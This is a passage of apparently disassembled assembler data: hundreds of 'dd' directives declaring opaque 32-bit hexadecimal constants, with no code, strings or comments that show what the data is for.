		dd 0B7F180AFh, 5869AC68h, 0A8FF0502h, 0C010264Ch, 0D23FD862h
		dd 465D6B01h, 0B6F064A5h, 129C60EAh, 90C154B8h,	0E8F300F2h
		dd 0A86B83DFh, 0B25C5653h, 815D01F6h, 74E3BC5Bh, 0E42824h
		dd 9E86BB66h, 0DD43B1D0h, 13492B02h, 68E7F12Ch,	479BC8h
		dd 2AB2D4E5h, 0C0EB7EC3h, 0DFA7C507h, 0CD0948Eh, 0E3B66Ah
		dd 31855FECh, 0F2E4213Dh, 8F9A871Eh, 0FA68CD07h, 9A91F0ECh
		dd 53AD0120h, 0F3372CF6h, 3C3275h, 141ADFD7h, 0D90D8Ah
		dd 0EAE38BE5h, 0D561E6F9h, 2ACA2300h, 74E13792h, 392C609Dh
		dd 12DC428Ah, 0E43A4700h, 853E3120h, 8FBC09AAh,	9400DBAEh
		dd 32EF867Bh, 0A9887301h, 0EA3B0C90h, 0CA94E860h, 0F8048F10h
		dd 2C3E5F2Ah, 76830084h, 0AD9E9FABh, 0DA090004h, 727C86EFh
		dd 0E036097h, 0C84E77ECh, 88D0EB8Ah, 1FE83F9Bh,	3CFFF2Dh
		dd 2B700BB5h, 0DEC53AD8h, 80745Ch, 0D86F4078h, 9E0465h
		dd 0E9E2AC28h, 48849260h, 1C9BFC0Eh, 0AF8A00DEh, 6F4EBBh
		dd 67749A41h, 0C9C4C219h, 271DD500h, 957886B9h,	2B160006h
		dd 0B49F4A3Eh, 4700C470h, 5F7D34C6h, 77D6CEh, 82E77429h
		dd 0B893331Bh, 9CC55300h, 0DC5E3BE3h, 36AF0064h, 790E4537h
		dd 0DD0085A0h, 0D88FE71Dh, 743D529h, 70B817ADh,	5AAF605Eh
		dd 584CD1D3h, 7CB90EA4h, 664F80DBh, 0BE383Dh, 0E2767DF0h
		dd 905D86B4h, 0E81472EEh, 1DA82EEBh, 585DCD38h,	111DCF00h
		dd 0AFD9D1h, 74E78749h,	9F2C1FBAh, 95C53B01h, 673A0682h
		dd 94ECD8h, 0A101DCEh, 92E5A8F1h, 6E624000h, 46E12455h
		dd 5BAF01C6h, 3F52564Fh, 3590805Eh, 0A1139602h,	0B4D705EFh
		dd 8D4B80h, 1DCB1CF0h, 5900B21Bh, 95794A66h, 0A3321Fh
		dd 0F6146C52h, 0AD417035h, 7A02210Fh, 1840FC9Dh, 0BD97AC0Ah
		dd 0A5F60007h, 6733AD0Ch, 0FB032B59h, 1B1C7E0Dh, 79ECA8EBh
		dd 8B8507E3h, 81ABEEDBh, 40DF974Dh, 0AEC8E8CCh,	45C4F600h
		dd 0B1CD3AC2h, 4DB8001Dh, 2BC12FBBh, 0D900370Fh, 0A72E5474h
		dd 0CC6A9B0h, 0AC50AA35h, 6100ED70h, 0C3DCCA17h, 7F09E322h
		dd 985F500Fh, 2A4B00E1h, 4FE4296Ah, 67006E2Bh, 0C505A5DAh
		dd 99D04B8h, 34A34BDBh,	2E8E2701h, 18731E7h, 25791CD8h
		dd 8100C780h, 0B814878Eh, 9E7FDh, 93E94161h, 40D2D432h
		dd 10F73900h, 786088B0h, 4D710068h, 240D0B85h, 0AA60A383h
		dd 0C1275DEEh, 679D0007h, 819FD43Dh, 124DC30h, 0C303B895h
		dd 0F841F0BCh, 98A6570Ah, 2794807Dh, 87F586Ah, 34070B4Ch
		dd 10F1B8D7h, 0CA841C83h, 0EA85970Bh, 624F0032h, 7AFBEEh
		dd 4A37B5CFh, 0FFA6FE9Dh, 148C0400h, 26B96882h,	0D8E40AD0h
		dd 87F4315Ah, 7FBF2D33h, 55942F00h, 0FC043E9Ah,	81A8C8B6h
		dd 0B22308D1h, 0B56660h, 987AF6ADh, 9AFD3C89h, 0C1798100h
		dd 0CE6A1C61h, 0B101D34h, 0CB2FC0D6h, 0DD468FDh, 0FCDBCF00h
		dd 2005E84Fh, 0B08A007Bh, 3DDD886Bh, 0F400286Fh, 626CF182h
		dd 7AF9002h, 5176EF6h, 7C77404Ch, 8BE05A3Dh, 0A05E8200h
		dd 8515E5ACh, 0C2400087h, 0E0841BCEh, 8800DFEAh, 97541C65h
		dd 711E3Ah, 0EDA363D1h,	770392B3h, 4EBDE00h, 6D071316h
		dd 0E26400D7h, 0F0D9B4E6h, 8D00E835h, 2C5E45B3h, 3B524FA1h
		dd 8600EF07h, 18A0B174h, 0FD035D8Ch, 44E1901Ch,	5C04F8FBh
		dd 6E5A00F7h, 0CB95DC66h, 0A5034577h, 0B1F0816Fh, 1DB2986Ah
		dd 30AC127Dh, 862C00A3h, 732F9992h, 0F76F9C01h,	54F68A56h
		dd 0BCFC0E7Eh, 0F2B19BA1h, 0FB9EC4A0h, 5284B300h, 5C7D8595h
		dd 138039D4h, 8A007F4Ch, 23671D83h, 0AC000933h,	0AE22ADECh
		dd 775C3Ah, 0F455C8DBh,	82BCAF9h, 8F415301h, 14565907h
		dd 0FB676C4h, 97E36115h, 0A685DC01h, 3BB03B9Ch,	91990075h
		dd 5D9ADA7Ch, 20EFD29Dh, 50001004h, 0DE0B03A3h,	22176C5h
		dd 0F11A5280h, 0CC40F57Bh, 0DD1D46E7h, 0A280A5D0h, 7A0CBFB4h
		dd 6D9900C0h, 0A9D4E28h, 61007E54h, 0BAB33DD8h,	1C8E3623h
		dd 40AF9B83h, 784762CEh, 41135DC0h, 8019CF4h, 5EDAF7BDh
		dd 983EAAh, 6002B65Bh, 73F2A879h, 7D86C900h, 10C6B25Ah
		dd 8DDC50C1h, 82AB001Fh, 5DD312F3h, 190F3142h, 204E5111h
		dd 0EC4656CEh, 0F7E60995h, 14806473h, 0E438C3E7h, 497F6C04h
		dd 0B4C03B8Eh, 267523AEh, 5515D7h, 0E276893h, 10602157h
		dd 92DB2820h, 0EB5000E0h, 8CE77F6h, 0BC03014Eh,	8EC8546Dh
		dd 23D9D8F4h, 0D11A0005h, 8AEDF2ACh, 7100E5AAh,	0B5A0C9CCh
		dd 60EB2D17h, 9C63A02Ah, 1C1D9346h, 6D53FE5Ah, 0E44BC860h
		dd 0C15F00BFh, 12BCB70Eh, 0D7007901h, 80826B4Ch, 7976EA9h
		dd 0A8E06FC3h, 0C62A80ECh, 139807C4h, 1F59F701h, 1641E3D8h
		dd 0A5E0A441h, 969A30h,	28C3CB39h, 9F22B30Ah, 0BA708900h
		dd 74CF8160h, 1C1A02A8h, 61A60383h, 0F8D3B040h,	0DAD44C00h
		dd 0FE8055CFh, 4C70152h, 29BE41C6h, 3089D4F7h, 7C99AF00h
		dd 8EBB0167h, 0DD3E001Dh
		dd 0BF9D6503h, 0F00048EAh, 326F5387h, 61EB30h, 9B0E0D5Ch
		dd 0E850F509h, 183E773Fh, 0DB0A07DFh, 904307D6h, 0F02F759Ah
		dd 4523647Ch, 0B025BD2Ch, 5600F33Eh, 0F701F83Ah, 26D1251h
		dd 0B227C93Bh, 0E8E0CA83h, 0B001050Bh, 0F658063h, 0C6804476h
		dd 21A991D9h, 0E8098D45h, 80C6058Eh, 106B5829h,	172C00B3h
		dd 5C4BFA29h, 8C909F15h, 0D9C8A01h, 0A881EC73h,	67745E0h
		dd 4722CB93h, 0AA00912Dh, 160C65D3h, 7418BE30h,	0B4021E1Eh
		dd 9DFB80FFh, 98EBBD4Dh, 614F3600h, 412C262Dh, 10253CFCh
		dd 0F0EFA580h, 1404E2A3h, 2C382328h, 4634A801h,	66302E01h
		dd 7ADBEC64h, 8A780006h, 2D151B74h, 23001C60h, 0D69E811Fh
		dd 0A3FAF1h, 977783F0h,	0DC4A889h, 40232214h, 412E002Ch
		dd 0B1AED44Dh, 0BE2A8864h, 0A8C2F501h, 0A7496593h, 3B7C20ECh
		dd 0F28046D8h, 0E99025A4h, 5400E6A2h, 0EFA808C6h, 0B21D2Bh
		dd 52BF3143h, 2C39515Fh, 9B0165F0h, 4057F8DAh, 88E07D5Ch
		dd 33E400E1h, 0CA9290B1h, 0F203821Dh, 714FF494h, 0FEDDF86Fh
		dd 3B507875h, 2F00953Eh, 1D1EC7C2h, 0ED0F33C4h,	0C057D967h
		dd 72E1910Ah, 4A230082h, 6622BBADh, 0E0038C31h,	919E632Fh
		dd 71BEBE8Bh, 0CE172CE6h, 1E4100E0h, 697B4EBh, 4CE51F00h
		dd 8B052A11h, 4AC77830h, 0DFA00072h, 8C7AD181h,	540D5880h
		dd 3A489C14h, 7A7CA8F9h, 2B400E3h, 0FABD0B7Dh, 8B07C37Ch
		dd 4D24EB5Ah, 8A4489B0h, 0E4CB188Fh, 91A65978h,	0F011F922h
		dd 38033C70h, 1066198Eh, 346DFA43h, 21007CB3h, 0CD375EC1h
		dd 0F063038h, 8363BD2Bh, 0E8AEB280h, 470ABF15h,	0D03BDA16h
		dd 5FFA8F00h, 374399D5h, 0A7B0F0A8h, 297E82F9h,	2BBBC880h
		dd 61186472h, 0F321F14Ah, 7E53009Eh, 0FA812CE6h, 60C2786Eh
		dd 63F7164Fh, 0EDCFC8E9h, 32EB12DCh, 8C20201Bh,	0BD00920Bh
		dd 0FB108A35h, 71590Ch,	3E95731Fh, 8BFE60A6h, 0CC773F0Eh
		dd 9404E156h, 41802C08h, 333901A8h, 0F93A61B6h,	6389803Ch
		dd 59871E53h, 251A03CAh, 220F21BCh, 0CC491015h,	6A4E00BCh
		dd 7D543DCDh, 0E9DDA30Ah, 63C0516Dh, 4CEB0075h,	35A7FDE8h
		dd 591CBAFBh, 0DD00DF44h, 278B1261h, 93A50077h,	3853ED95h
		dd 0CC00BFC3h, 65723947h, 0AD08AB2h, 0DDBC8DEBh, 0E23D08E4h
		dd 77BA8080h, 18613F55h, 0C99011D5h, 9D001D71h,	0ECD6F248h
		dd 0E8CAFh, 0BB802E8Bh,	0D549A8CFh, 0B8A04BFEh,	0F714E504h
		dd 0E020EFD4h, 860DA2FAh, 81820F00h, 0AF6344F5h, 0DDA135DAh
		dd 0BA1000A0h, 0FC6FFBE9h, 0A4095707h, 48B116C5h, 20248710h
		dd 5B2E00D7h, 8C657AAEh, 0F200C09Bh, 0C2FFAD57h, 7B456851h
		dd 716E18D4h, 91AB580Ch, 50120624h, 0C63CB060h,	33BE2118h
		dd 0D2008091h, 692B381Fh, 3E00ECCBh, 0C9F47813h, 4043B07h
		dd 853CA15Ah, 5D88C458h, 570A0CFCh, 5E672AC1h, 0F3F77349h
		dd 0F022A523h, 9C0A38Ah, 6E015747h, 76AF70C0h, 59CC90A0h
		dd 1E8B0406h, 149EE9Eh,	0FB41121Ah, 9D2EF885h, 0DF061169h
		dd 113BFFh, 0CE250A6Fh,	804DA4A6h, 4631B01Dh, 65211718h
		dd 0ED250006h, 626F108Ch, 949C78BFh, 595300B9h,	3E27A7B3h
		dd 346B244Eh, 17BC3CB8h, 0BE521607h, 0A7C98046h, 0E5F6150Fh
		dd 58752603h, 0B83640Ch, 0C14A4248h, 0A26822A0h, 44E8BB46h
		dd 0AA28BC19h, 6FF07668h, 6861C8Ah, 0EBD8027Eh,	0D8714A0Bh
		dd 0A7299300h, 3D27C7h,	0DA05DB4Fh, 0DC06797Bh,	0AEFED092h
		dd 29A0E714h, 908B814Ch, 0F432DCFFh, 0E8D88900h, 0DB48ACEh
		dd 0C06622FCh, 215C08h,	0FDE577E9h, 0C2D7E3C5h,	0B9C66200h
		dd 8F91FFCFh, 7001E479h, 5F771395h, 0BB700F4Fh,	0C3FA88B0h
		dd 19C93824h, 8880185Eh, 370053CEh, 1A0CD52Bh, 57DD1008h
		dd 6C21F4F3h, 6A332200h, 2098A33Dh, 82F877F7h, 7DFAAA00h
		dd 0C727A864h, 0D854263Ah, 8930454h, 0CE00883Ch, 0A6BA2404h
		dd 792C4604h, 0C1408E82h, 7D492BE1h, 45286180h,	0FAD3E0D7h
		dd 0F6AB6C03h, 2F1258h,	0D6ED3C39h, 10B1214Ch, 9E448B0Fh
		dd 0E8001262h, 0FF560D01h, 0AA97006Bh, 0C3279511h, 4600185Ah
		dd 8B328992h, 233C7Fh, 0BEBD2D4Bh, 0FBE63D61h, 0D60CB8B2h
		dd 583E37BCh, 0E47F00A2h, 0C5C32638h, 761F51DEh, 20849122h
		dd 34880B59h, 0F84150F5h, 0CF028C5Ah, 7C8A75E8h, 0DA95190Eh
		dd 0E576E401h, 0EA4E21F0h, 0D29904BFh, 8BAA3840h, 0D0A1CE1Ch
		dd 82AF9EC1h, 22B2D087h, 98004898h, 37EDC029h, 4DF75A25h
		dd 0B9BCB466h, 4675A242h, 2020A48Ah, 860D6A87h,	0C34218A7h
		dd 5D391887h, 5A940D00h, 0CD24E31Eh, 0D5550540h, 129EAEBCh
		dd 92440ADCh, 24ED402Ch, 5C219389h, 8872884Dh, 25057000h
		dd 42B8B47h, 78A610A3h,	9BEC8017h, 79F0ABE4h, 0E06BDA2Ch
		dd 5646F420h, 51E8B307h, 0C2D0AA8Ah, 300087BAh,	6AE8BBh
		dd 0DD1FF135h, 3DA55004h, 4884EE58h, 52E440DEh,	49D5A109h
		dd 348020F3h, 3AE46C7h,	2E546C5Eh, 830A515h, 0DED52121h
		dd 7D550746h, 397414CDh, 0ADC5DC00h, 0E8242B79h, 382C2413h
		dd 5C2E9465h, 43A03Bh, 0E9A73C9Ch, 1F08E5C5h, 86EBCB73h
		dd 0C0F049F5h, 4D23C63Fh, 1260582Ch, 0E70008CBh, 4566FE46h
		dd 0AA5A01F2h, 311FDB91h, 10408E75h, 0B336E152h, 92D08A65h
		dd 294800C4h, 6CDEBD1Ch, 0C9007F85h, 86229D4Ah,	98E38B08h
		dd 0B95800F2h, 0B730A05Ah, 0AA284C73h, 3900A78Eh, 61039ED4h
		dd 2828DB89h, 0E42DE6h,	9323916Bh, 1B81F03Fh, 1FA94C3Eh
		dd 45403247h, 30D036A0h, 0AA5B00F7h, 2EAD66EFh,	0DC002D48h
		dd 1EB1D14Eh, 0C0FB6C44h, 0B67D7330h, 0E21CBFE3h, 4C401803h
		dd 57282C9Ah, 0DD1400D1h, 0C3836680h, 1E3F648Ch, 0E3A107BCh
		dd 0D32148EBh, 204B7629h, 73801E23h, 0B8FD4F7Bh, 60AB7A40h
		dd 9AB13981h, 0D30091D6h, 0DDECF27h, 0E8DDE735h, 0F521CFE8h
		dd 7140B4CFh, 4D2F07BBh, 0AF0049EAh, 9525769h, 0A458AB3Ah
		dd 0B5300228h, 0DDDF27D1h, 0F10D619h, 107B4DEh,	0C74213CBh
		dd 7E5CCA11h, 0C9C52h, 164EB0E8h, 0BAB1F70Eh, 0D3218149h
		dd 1083C0AEh, 244D1443h, 0E9EE1399h, 5F098C28h,	242320BBh
		dd 6D74B6Ch, 79E2E9E6h,	0EF9FC718h, 814520h, 0B5515857h
		dd 446B41CFh, 0D37CF67Fh, 12303401h, 0A6CC4A3Bh, 0CE603180h
		dd 65F2067Ch, 35AAF407h, 3C5002EBh, 0ABB5ED48h,	8E7489ECh
		dd 0DE33081h, 48F43011h, 0CCA384DCh, 7296DEE0h,	0C490BC68h
		dd 0B94674h, 0D4DC84FAh, 0A0964Ah, 0B34FB73Bh, 0C6F89A0Ah
		dd 0C0167900h, 0BFB21DE3h, 91F560E0h, 3275D3DFh, 0AF6D3F01h
		dd 0AED5686Fh, 0C0B202D0h, 7A3B3420h, 0E700598Ch, 8373CDC0h
		dd 41DF071Eh, 8D80B831h, 11B0E67Ah, 39C0C16Ah, 370BC0Bh
		dd 0C97CDA11h, 0D83801E2h, 0D7550F4Ah, 8021BA19h, 0E1B57A1Ch
		dd 904D2E5Fh, 6B5A0C20h, 52619481h, 6CCBC01Eh, 0C1670F85h
		dd 883091C7h, 2930A4D6h, 168C9B2h, 3F347A21h, 0C0EE18FDh
		dd 7A093621h, 79003CC8h, 0EA736D4Bh, 0C018B421h, 35F31AF1h
		dd 3F1E6F7Ah, 8F438DF9h, 8BA07D0Ah, 2ED0F7CCh, 0EDF9798h
		dd 29CDA188h, 702CF1E0h, 0CC28FD71h, 0D84680DCh, 3B7A1D1Ch
		dd 0D754E608h, 8A401244h, 7ED2A3C8h, 0A0938812h, 6ACB551Dh
		dd 0F600047Fh, 0F088708Bh, 88E5A1C0h, 0C7F801C6h, 1B9DA530h
		dd 6C8004F6h, 3B7EE6DBh, 76800DD9h, 62280726h, 80248302h
		dd 0F30A6CA8h, 0C80318E0h
		dd 0CE43C04Ah, 7B8A1F0h, 4C72EE18h, 11232623h, 65ED009Ah
		dd 4D06D4Ch, 42CC181Dh,	9AD318BCh, 0D27A6100h, 81987D8Eh
		dd 0A6BB076Ah, 43042086h, 8128EA26h, 0B7F08E3Fh, 0B341AF02h
		dd 498582B0h, 0EED85194h, 803F00A9h, 259AA8D3h,	4B24ED8Bh
		dd 1420A092h, 74CDCB00h, 0DBBA2DC5h, 7C7B005Fh,	3F3B070h
		dd 0CEF4FA6Ch, 0EA5AE50Eh, 1DDA00D6h, 0F1B1BD1Bh, 0D2012C26h
		dd 0D537A175h, 40AC0CAEh, 3C90FFCAh, 0F9954D0Bh, 0D73E00A7h
		dd 1DBED41h, 0CC0F3DB7h, 0ED87CFB0h, 0FAABF17Fh, 0D502F04Ch
		dd 372C1E91h, 0EC0016F2h, 873091DAh, 1B67C28h, 413562Dh
		dd 233AA4BBh, 79510234h, 4C46E2ECh, 0BC5E20B4h,	0A3F3D600h
		dd 2FCBFE69h, 33780F0Eh, 0D04546DFh, 9BE847ADh,	0A80DC067h
		dd 7001B785h, 0AC16BD45h, 4C34F711h, 0B5F08C5Fh, 0E727D808h
		dd 3FF16FDDh, 0C4B400FAh, 74AF7D3Eh, 1C504C1Ch,	0EE9C791Eh
		dd 0BF270346h, 54B0BC73h, 720046F1h, 5E7175F7h,	2A31791Eh
		dd 0ECC0E8D3h, 3015FAA5h, 0DFF116ACh, 0EE033C5Eh, 0D8D3BBAAh
		dd 0E279F6E2h, 39F76025h, 0DD4E73A4h, 4DA88D00h, 7D747C1Eh
		dd 0B0D70565h, 8FF4F703h, 0C9648824h, 0A5DE1102h, 713A8890h
		dd 94A1D1FEh, 4DC1864h,	3F2C1D91h, 0BC8431F3h, 91D9C300h
		dd 243B2B0Ch, 88FD98C4h, 0BF76D583h, 3CB68600h,	0EB1C5FEAh
		dd 0B23B004Ch, 207BC858h, 690570CBh, 28CEBFDFh,	0A3F3488h
		dd 0E8A108B0h, 1C63B70h, 14174CCFh, 0F70CF56Bh,	40EA88h
		dd 6D8BDE4Ch, 0D768D3FCh, 1C119D13h, 6E650C20h,	0E5170041h
		dd 9613FC54h, 1600F8A8h, 94E9E77Ch, 1ECEECh, 0DA5F643h
		dd 7D40848Dh, 0B682000h, 9AAA59CCh, 81DC3091h, 0F0804B39h
		dd 0BCF0ABE8h, 8ABD3002h, 607A5775h, 0FE62C9h, 0C4407177h
		dd 32A6816Ah, 8013F501h, 0F9BA9718h, 55493AF7h,	7D140B0Ch
		dd 18008B11h, 0F5336838h, 3A01A2EDh, 8330ECCDh,	38FF3C21h
		dd 5C006B76h, 88BF6FF1h, 74920BEFh, 0D591D084h,	5A724200h
		dd 0B87943D1h, 0C7ADC3Eh, 48B67705h, 9C2A0097h,	165A2B5Ch
		dd 1D006D2Eh, 4BE0CFD4h, 6F0F17h, 613FECF0h, 13A7A846h
		dd 380C50A8h, 154634E4h, 61A88200h, 0A1568776h,	2D29911Dh
		dd 853C20C6h, 0B620018h, 103A0D6Ah, 7707F6DEh, 5E8269DAh
		dd 9020CCh, 68F979A4h, 55BD6D7Bh, 838219CBh, 80F1F869h
		dd 603DA7A5h, 9C835124h, 28006C60h, 0F0B9E4AFh,	3FE6FEF2h
		dd 6380FABCh, 2C3D3F49h, 3878F494h, 90D40900h, 0CB439E93h
		dd 35AE002Dh, 7CD3A597h, 33005878h, 3A1CF0E3h, 77B0F9h
		dd 92B1940Ah, 88FA53E5h, 82367C00h, 6DF3701Ch, 0B66C0086h
		dd 0ECD35F80h, 0EE733FBFh, 0C4B7E100h, 29C84FBCh, 2FB90E34h
		dd 1C40C391h, 23C2D83Fh, 838A443Ch, 0DA3B68BAh,	0FCF98005h
		dd 2ECC004Ch, 7881A57Bh, 5E00C3E6h, 42B19662h, 4C2A9BDCh
		dd 22001A3Eh, 0BF65CEAFh, 0C201D31Bh, 0F4792F3Fh, 0AEE8ED64h
		dd 0E0D0F51h, 0D48FF970h, 7C688C80h, 8961F69Dh,	0D219E330h
		dd 985D8h, 6EAEB816h, 0BA2BD876h, 0A4601500h, 491856CCh
		dd 0BD3D28A6h, 0CFF30080h, 2E2CD661h, 5F02F822h, 763C6CF4h
		dd 8AA080E1h, 7D83CAE5h, 0EE2F0095h, 0AFA26DAEh, 28007B0Bh
		dd 0D16E5906h, 0B89F71h, 1B40B2C0h, 0EEA68933h,	9E01AC0Ch
		dd 0BEC0D9h, 0DD53626Dh, 33459CD4h, 5580BA60h, 2588EEh
		dd 0ABE3C5A7h, 0D60BF423h, 0C2AC2900h, 779BD017h, 0E1D2003Ah
		dd 9F0ACC97h, 0DB7241AAh, 451DFFFAh, 8243988Eh,	0B00765D1h
		dd 3FF2172Bh, 7E807081h, 0DB64D87Ch, 0CC0708BFh, 0E037FCCDh
		dd 627A3AC0h, 781A7E5Eh, 7FBF398Eh, 8FC3BE00h, 9E13FD5Fh
		dd 0D690CB0Fh, 0D5B624C6h, 0AE4B1C42h, 75EF14C0h, 0CDDD158h
		dd 0C1CF8863h, 728720Ch, 0FF808724h, 4D11907Ah,	0D718BA2Eh
		dd 0C080CCAEh, 0E6760073h, 91C84042h, 0BE084A21h, 0B2D161h
		dd 2B97FA6Dh, 691F136Eh, 8C3C2A6Ch, 0C1E2AD3Ch,	0BE6700E4h
		dd 0B3530519h, 0BA001E2Ah, 589410AEh, 0A092BD4h, 0CFC1F913h
		dd 0BCB38080h, 0C2F8639Ah, 87E38400h, 0B18DB9D5h, 409D49D6h
		dd 0DB083B03h, 0D2A04D06h, 0C9155E38h, 72E0EEB4h, 0C0A45930h
		dd 0A38044h, 0CDAC358Ch, 5FAF0AF5h, 10CF9C00h, 0EAFD46F0h
		dd 0BA60691h, 807D0EE2h, 9A39CD76h, 0BC800062h,	35541DB8h
		dd 4F77308Ah, 0AEE949C0h, 81420F39h, 7A46D136h,	53C06C39h
		dd 0B5F40080h, 90BD1684h, 5A00EAC6h, 0D1C030E9h, 58EB22h
		dd 73810546h, 0AFBBBE6h, 0EA3BE707h, 0CB01D4AFh, 4087FEF6h
		dd 4049DBh, 4B0B6780h, 0D200E2FEh, 304B1B2h, 0A23350h
		dd 8483C3B5h, 6855260Bh, 0F049A090h, 2E100C0h, 0C0DE212Ch
		dd 4D75E613h, 0FB00645Ch, 16D30162h, 0DB006A64h, 69522746h
		dd 72540B91h, 4229C073h, 0DBC59E2Dh, 264C703h, 0A3652FCAh
		dd 9521015Fh, 111EA194h, 16843409h, 0AB16B07h, 3870A2EBh
		dd 3A58266h, 151FCE02h,	3FA0A9EFh, 0BAF0DBD5h, 0A13E1E00h
		dd 0CC18C794h, 0BCE70F9Ah, 0E6601757h, 865EB1AFh, 4E767A00h
		dd 0BD672B6Ch, 0A0CF1863h, 0D6538048h, 0E2000CF8h, 918B8870h
		dd 0E7A8FCCh, 0F92D38A5h, 3787EAE3h, 0F50B2001h, 0D855CF28h
		dd 9208204Eh, 0DB609020h, 30489453h, 0D6306242h, 0F672A66Dh
		dd 5B4FB703h, 0A247AFBBh, 7B1CC8F2h, 0F37FCC3h,	2EC0FDC2h
		dd 6CDC4BBEh, 0AF033829h, 78B8C865h, 400879Ah, 437A1E7Ch
		dd 0A0E313BAh, 1B214h, 4DBDD2BBh, 2CAD0587h, 6A720EECh
		dd 0B4251E28h, 57C2DD18h, 18CD630h, 2D83CB5h, 602BE29Dh
		dd 8B0C416Ch, 986980A0h, 202D0263h, 0AECDA04h, 94FED4A0h
		dd 0F12C3BD7h, 0C60885Dh, 345AA4h, 0DFD121ADh, 53C3F4F0h
		dd 6C996301h, 56D3FBC7h, 0FE523081h, 0C07465AAh, 790003C4h
		dd 59D96616h, 0E399967h, 415BDEBBh, 0DDC90BC1h,	79B808h
		dd 0B875FE27h, 0E7AD7Bh, 0ACE9D278h, 0FB73CB30h, 83D9BC61h
		dd 99E8B75Bh, 0F2A00055h, 6F50C433h, 39733F53h,	0B77180h
		dd 3AB13464h, 68818506h, 463BA201h, 4CC509F4h, 47D56101h
		dd 0E07C11FFh, 6D4D300Ah, 70DE2C00h, 0F2A7A455h, 186B00D6h
		dd 7DCC8411h, 2C0079A6h, 0C5E7A0C4h, 1A1CA299h,	50770AF2h
		dd 4FDD3140h, 903A9C0h,	156492Fh, 75FF537Dh, 0D0274AA1h
		dd 0B200780Eh, 0D7FBC5DCh, 0E5464Fh, 499DA4Bh, 52C96FCh
		dd 331812C0h, 2EF2C1E9h, 72DFD52h, 0F0E0292Eh, 191E1435h
		dd 7F307500h, 0BB95E559h, 1DF70E73h, 0FB8E7C94h, 705520B8h
		dd 8CAD5805h, 34C19871h, 0D0F00F54h, 200800D3h,	2EF376BDh
		dd 730016EBh, 0FB6FA6B5h, 0DDA728h, 0C0859518h,	335FAB69h
		dd 0E3AC1D3Fh, 1AA4F08h, 0B7011720h, 0E435110Eh, 0D703EA22h
		dd 0E2C5A4BDh, 5BA1F09Dh, 0E66B1874h, 71A760ECh, 9F18DF05h
		dd 342070A6h, 1062C082h, 0D42D27ABh, 70206717h,	9ED5C0E0h
		dd 38DF0798h, 0C196B1F2h, 0D3DE8866h, 0F7F4D000h, 731731C2h
		dd 56A200ACh, 0B88865EBh, 0D0307B0Fh, 373D2901h, 765400EEh
		dd 9D14506Ch, 73449DCh,	870721C8h, 89C08FEEh, 0B0662B1Dh
		dd 0A1CFEE0h, 1711DAE0h, 10A8F94h, 0C05480B0h, 5757A894h
		dd 6A006032h, 8D40C044h, 0E05822A6h, 40884198h,	0B2ED3876h
		dd 0F6D0CD0Eh, 0A40A2082h, 1D9E0959h, 80C81992h, 0D1D60681h
		dd 2B003632h, 0BCC6AE2Dh, 2360DEh, 18FA131h, 90F87521h
		dd 546FD127h, 0E9790E4Bh
		dd 37403ACFh, 0D48B944Ah, 2C7AC500h, 3DF987ACh,	107B1F07h
		dd 483F8046h, 4E08AA54h, 4AB56F0Bh, 0E6B280CAh,	0E61A7A21h
		dd 651400B7h, 53E096D9h, 570084C9h, 602A07A4h, 79DF5128h
		dd 0CD7201C5h, 1C9CB4A1h, 0F42EF069h, 3E6E483Ah, 4B968F05h
		dd 0C6471F3Ah, 0C9C74A83h, 0EAA77190h, 314778Fh, 6258D5E2h
		dd 1BE04CC6h, 12F85DCBh, 50E07703h, 0E3C7CDBEh,	9A680354h
		dd 0BF6E184Fh, 0AA844800h, 949D88AFh, 82EF0CFBh, 9208C37Dh
		dd 3D204F60h, 0EA88901h, 0F60DFEE4h, 208ABA20h,	58188549h
		dd 0F8788693h, 0C11B000Ah, 6D09644Bh, 96161607h, 0C000D880h
		dd 20A4D97Dh, 3BEF4D4h,	75D59DEFh, 4280F2CDh, 5500BBBAh
		dd 95DDB205h, 2725B7h, 3F89332h, 0EDCC709Ah, 0C9043500h
		dd 0D6CA0EB8h, 9F460050h, 0C1627B5Ch, 0F2006619h, 24C7056h
		dd 75B4DEh, 936BBA8Dh, 0F4E0F314h, 97E939h, 30E57881h
		dd 1D49F20h, 0CA3D93DFh, 0F4137187h, 0FB00B3ACh, 18A19D56h
		dd 1F855BEh, 69B69448h,	0BC9E1D24h, 0EF120E28h,	0BC3240D7h
		dd 97B5AEh, 31E23365h, 0EEEB9555h, 94162100h, 0E186ED2h
		dd 387D6E38h, 1110E8E0h, 2F0369B7h, 25374D0Ah, 0CF10000Ch
		dd 15E0A01Ah, 0CB3A8394h, 0BD6C0039h, 96584625h, 24A9E037h
		dd 1D606EFh, 3460B78Ah,	83588079h, 0A5D823B9h, 6C34A07Ch
		dd 0A9B8CF5Bh, 0A8DC2B2Bh, 74F1CE00h, 0F711E13Eh, 0EC82B2CCh
		dd 0B80903E4h, 1A9B466Ch, 22FA180Eh, 0D54C084h,	839501h
		dd 9B23A671h, 0D0C94A29h, 9AFFDA01h, 0C41DBBADh, 0F0816AD5h
		dd 2FA53683h, 6099D521h, 0A300FC95h, 0BC959F27h, 1DA4FAh
		dd 5E596E13h, 323519EEh, 347D7706h, 0A408811h, 0A7144071h
		dd 43B48A64h, 2C943E90h, 1B00C088h, 0E3ACC425h,	1500A30Dh
		dd 161E35E9h, 524B27h, 99E1C388h, 893FD9D5h, 73B4800h
		dd 0BE233ACDh, 4EE20116h, 0E15CD669h, 410A3BDh,	0CB5CACC0h
		dd 0E95F8DFh, 0EDAA1AFCh, 0D57CFF80h, 303E9A16h, 0ACD39CA9h
		dd 0DFB3EB80h, 0F7A03C98h, 7F332888h, 92B20D84h, 444A7704h
		dd 67424B65h, 0E80ED23Eh, 825B909Dh, 2B241D9h, 29003F3Bh
		dd 501005h, 0E9C94C45h,	0EFC8F6E6h, 9CF94800h, 9B8781FDh
		dd 0DCBC000Ah, 923D34Bh, 111C135Bh, 6F409F96h, 0C380D70Eh
		dd 7F07006Ah, 331E1FC9h, 630128D5h, 86AB6C10h, 613030B1h
		dd 0D843D4Fh, 0F9719100h, 0A87D2D1Dh, 0B49BA900h, 0C8B79886h
		dd 541E00BBh, 99B54061h, 0F20F24AFh, 0C0B18F0Fh, 1A85BAABh
		dd 325F0065h, 0AFEA8B71h, 29070A4Bh, 0A96B573Bh, 0D52E05F0h
		dd 43630124h, 0B5CF3278h, 6804F8EEh, 3700AF77h,	0A216258Eh
		dd 8B2B11h, 624506E4h, 0B15DB2B0h, 7780C600h, 1CB6FA98h
		dd 9F8A81Dh, 0DB290EABh, 0BCC04679h, 0CEA70451h, 6FBF9700h
		dd 74B7694Fh, 0CB0C004Bh, 9E8DD4B2h, 0E83023B8h, 810350B1h
